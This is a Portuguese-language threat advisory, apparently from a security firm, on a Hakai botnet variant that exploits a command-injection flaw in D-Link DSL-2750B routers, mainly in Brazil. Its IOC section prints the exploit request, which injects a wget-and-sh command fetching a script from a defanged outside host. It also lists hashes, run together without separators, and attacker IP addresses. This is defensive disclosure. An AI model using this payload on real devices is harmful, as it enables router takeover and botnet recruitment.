O time de monitoramento da Tempest identificou uma variante da botnet Hakai bastante ativa, tentando explorar vulnerabilidades em roteadores D-Link DSL-2750B na América Latina, particularmente no Brasil.

Somente neste mês esta botnet foi detectada 134 vezes por nossos sensores e, até o momento, está utilizando 119 endereços IPs diferentes.

O método de infecção é o mesmo de outras botnets que foram amplamente reportadas pela Tempest e por outros pesquisadores.

Aproveitando-se da vulnerabilidade de execução remota de comandos, o atacante faz o download de um arquivo Shell Script o qual será executado no dispositivo e, dependendo da arquitetura do equipamento, será baixado o binário adequado (hakai.mips, hakai.mpls, hakai.x86_x64). Este, por sua vez, utiliza um packer chamado UPX (Ultimate Packer for eXecutables) o qual é bastante conhecido e possui o código aberto, disponível no GitHub .

Após infectado, o dispositivo se conecta ao painel de controle do atacante e recebe comandos para atacar ou tentar infectar outros dispositivos.

O painel de controle se assemelha bastante ao da botnet Gafgyt, que teve seu código fonte divulgado anos atrás como a botnet utilizada pelo grupo Lizard Squad em seu serviço de DDoS-as-a-service: o LizardStresser. Esta variante tem a capacidade de disparar ataques HTTP, UDP, TCP e STD (envio de pacotes com um payload randômico de 1024 bytes).

IOCs

Payload:

GET /login.cgi?cli=aa aa’;wget hxxp://46[.]166[.]185[.]42/e -O -> /tmp/hk;sh /tmp/hk’

Payload source:

hxxp://46[.]166[.]185[.]42/e

Hash MD5:

0590e9af54485c9a94ed97ea1b7c022ce7a32ca82dca999437e5ebb4c76b676002baea1994dc58bbfa3bf7944629a6e3c288f1fa87225e61f0757fb9eaeb237c

Hash SHA256:

8ff5a8e20209267984ca4fe609ae7a8feccabda9114304c1444abc53cb169f5f3d98fd28c344b067e91881d06942f7532a1f4084d908d882d3975fe0709c85f59688a3fdfd8fcb2caa2962623af9cd64c2a74887057900dbca5179aef8c5f3194072d3b5393d86bf5b6586eec58efe79f3b5b428d183048968ad329fc982aa45

Endereços IPs únicos:

115.211.158.127

151.25.16.155

151.67.179.72

151.70.150.145

156.194.16.10

156.194.186.237

156.194.226.4

156.194.41.138

156.195.200.13

156.196.179.29

156.196.185.140

156.196.200.81

156.196.242.173

156.197.171.232

156.198.221.75

156.199.204.140

156.199.77.123

156.201.79.16

156.203.178.17

156.204.155.113

156.205.135.43

156.205.195.104

156.206.115.220

156.209.198.100

156.209.232.198

156.209.54.177

156.210.187.42

156.211.96.230

156.212.13.107

156.212.209.151

156.212.214.221

156.212.98.46

156.213.104.172

156.213.169.78

156.213.173.45

156.213.244.171

156.213.99.66

156.216.224.31

156.217.140.86

156.217.50.123

156.218.75.76

156.219.145.253

156.219.192.162

156.219.229.182

156.220.127.23

156.220.138.137

156.220.143.93

156.220.253.82

156.220.44.52

156.221.116.143

156.221.123.7

156.221.148.113

156.221.172.223

156.221.5.177

156.223.130.168

156.223.165.48

156.223.95.196

187.64.72.94

197.246.180.121

197.32.137.152

197.32.8.123

197.34.56.237

197.38.130.42

197.38.71.15

197.39.86.166

197.41.204.206

197.42.132.154

197.42.33.96

197.44.8.66

197.46.178.52

197.51.1.213

197.52.14.196

197.52.168.225

197.54.198.40

197.54.98.170

197.55.65.76

197.55.80.40

197.57.173.100

197.58.121.102

197.58.237.253

31.194.147.178

41.230.140.29

41.232.65.213

41.234.237.128

41.235.138.212

41.235.183.103

41.238.179.235

41.238.9.217

41.239.164.80

41.35.24.91

41.36.188.159

41.36.244.219

41.36.248.103

41.36.30.115

41.37.27.36

41.38.139.146

41.39.39.33

41.41.112.189

41.42.150.61

41.42.205.120

41.44.103.75

41.44.127.25

41.44.196.33

41.44.3.243

41.44.53.155

41.44.56.89

41.45.128.60

41.45.143.5

41.45.182.174

41.46.143.91

41.46.243.97

41.47.49.254

79.129.7.154

79.24.80.194

80.15.21.65

80.183.8.179

83.28.135.202

85.72.59.101

94.70.161.249